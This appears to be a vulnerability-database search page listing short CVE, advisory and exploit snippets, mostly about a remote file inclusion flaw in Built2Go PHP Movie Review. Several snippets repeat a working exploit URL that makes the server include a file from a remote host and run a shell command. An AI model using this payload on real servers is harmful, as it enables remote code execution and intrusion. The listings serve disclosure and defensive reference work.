5620 matches found
CVE-2006-2008
The CVE-2006-2008 issue affects Built2Go PHP Movie Review 2B and earlier, via PHP file movie_cls.php. The underlying flaw is a remote file inclusion vulnerability that allows an attacker to execute arbitrary PHP code by supplying a URL in the full_path parameter. References include historical adv...
EUVD-2006-2009
PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...
[SA19749] built2go Movie Review "full_path" File Inclusion Vulnerability
TITLE: built2go Movie Review "fullpath" File Inclusion Vulnerability SECUNIA ADVISORY ID: SA19749 VERIFY ADVISORY: http://secunia.com/advisories/19749/ CRITICAL: Highly critical IMPACT: System access WHERE: From remote SOFTWARE: built2go Movie Review 1.x http://secunia.com/product/9515/...
CVE-2006-2008: Undefined Security Weakness
PHP remote file inclusion vulnerability in moviecls.php in Built2Go PHP Movie Review 2B and earlier allows remote attackers to execute arbitrary PHP code via a URL in the fullpath parameter...
Built2Go PHP Movie Review 2B - Remote File Inclusion
Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...
Built2Go PHP Movie Review 2B - Remote File Inclusion
Built2Go PHP Movie Review 2B - Remote File Inclusion Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...
Built2Go PHP Movie Review <= 2B Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications =================================================================== Built2Go PHP Movie Review = 2B Remote File Inclusion Vulnerability =================================================================== Built2Go PHP Movie Review =2B Remote...
Built2Go PHP Movie Review <= 2B Remote File Inclusion Vulnerability
No description provided by source. Built2Go PHP Movie Review =2B Remote File Inclusion Vulnerability in moviecls.php requireonce"$fullpath/reviewcls.php"; usage: http://www.site.com/path/moviecls.php?fullpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-23...
For the new network domain name Management System Security reviews-exploits warning-the black bar safety net
It is well known, the new network users in China domain name registration industry, the proportion of the column is still very large. But I found a new web domain system, there exists a safety hazard. One day I From the agent the domain Control Panel login to the new network there, accidentally...
[CVE-2006-0745] X.Org Security Advisory: privilege escalation and DoS in X11R6.9, X11R7.0
X.Org Security Advisory, March 20th 2006 Local privilege escalation in X.Org server 1.0.0 and later; X11R6.9.0 and X11R7.0 CVE-ID: CVE-2006-0745 Overview: During the analysis of results from the Coverity code review of X.Org, we discovered a flaw in the server that allows local users to execute...
nCipher Advisory #14: Presence of flaws in firmware security
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 nCipher Security Advisory No. 14 Presence of flaws in firmware security -------------------------------------- Note ==== nCipher is publishing three advisories numbered 12, 13 and 14 simultaneously. You are advised to review all three before taking an...
CVE-2005-4413
Multiple cross-site scripting XSS vulnerabilities in sample scripts in IBM WebSphere Application Server 6 allow remote attackers to inject arbitrary web script or HTML via the 1 E-mail address field to a PlantsByWebSphere/login.jsp, 2 message field to b TechnologySample/BulletinBoard Script, 3...
CVE-2004-2132
PJ CGI Neo’s PJreview_Neo.cgi is affected by a directory traversal vulnerability that allows reading arbitrary files via a .. in the p parameter. This could enable reading local files on the web server with the web user’s privileges. The issue is documented in CVE-2004-2132 and is reflected in Ne...
Security fix for the ALT Linux 5 package gzip version 1.3.5-alt1
May 19, 2005 Dmitry V. Levin 1.3.5-alt1 - Updated to 1.3.5. - Reviewed and reworked patches. - Added zegrep1 and zfgrep1 manpage links. - Changed zgrep and zdiff to handle also functionality of bzgrep, bzcmp and bzdiff utilities. - Changed znew utility to avoid dependence on compress utility. -...
CVE-2003-1116
The CVE-2003-1116 entry concerns Oracle E-Business Suite components: Report Review Agent (RRA), also called FNDFS, in versions 10.7, 11.0, and 11.5.1 through 11.5.8. The vulnerability arises in the communications protocol used by these components, enabling remote attackers to bypass authenticatio...
CVE-2003-1116
The communications protocol for the Report Review Agent RRA, aka FND File Server FNDFS program, in Oracle E-Business Suite 10.7, 11.0, and 11.5.1 to 11.5.8 allows remote attackers to bypass authentication and obtain sensitive information from the Oracle Applications Concurrent Manager by spoofing...
CVE-2003-1116: Undefined Security Weakness
The communications protocol for the Report Review Agent RRA, aka FND File Server FNDFS program, in Oracle E-Business Suite 10.7, 11.0, and 11.5.1 to 11.5.8 allows remote attackers to bypass authentication and obtain sensitive information from the Oracle Applications Concurrent Manager by spoofing...
MD5 - Message Digest Algorithm Hash Collision
source: https://www.securityfocus.com/bid/11849/info The MD5 algorithm is reported prone to a hash collision weakness. This weakness reportedly allows attackers to create multiple, differing input sources that, when the MD5 algorithm is used, result in the same output fingerprint. It has been...
Re: debian dhcpd, old format string bug
[email protected] wrote: On Thu, 28 Oct 2004 10:31:38 +1000 Tarragon Allen [email protected] wrote: On Tuesday 26 October 2004 10:37, [email protected] wrote: Firstly, good etiquette would have been for you to actually report the bug with Debian. I don't see any bugs raised agains...
Clientexec Billing Software
Clientexec is a php billing software with a target audience of webhosts. By default there is a file called phpinfo.php in the main clientexec directory. This can be access by anyone with a web browser. I looked through the documentation and didn't find any reference to it. I then checked several...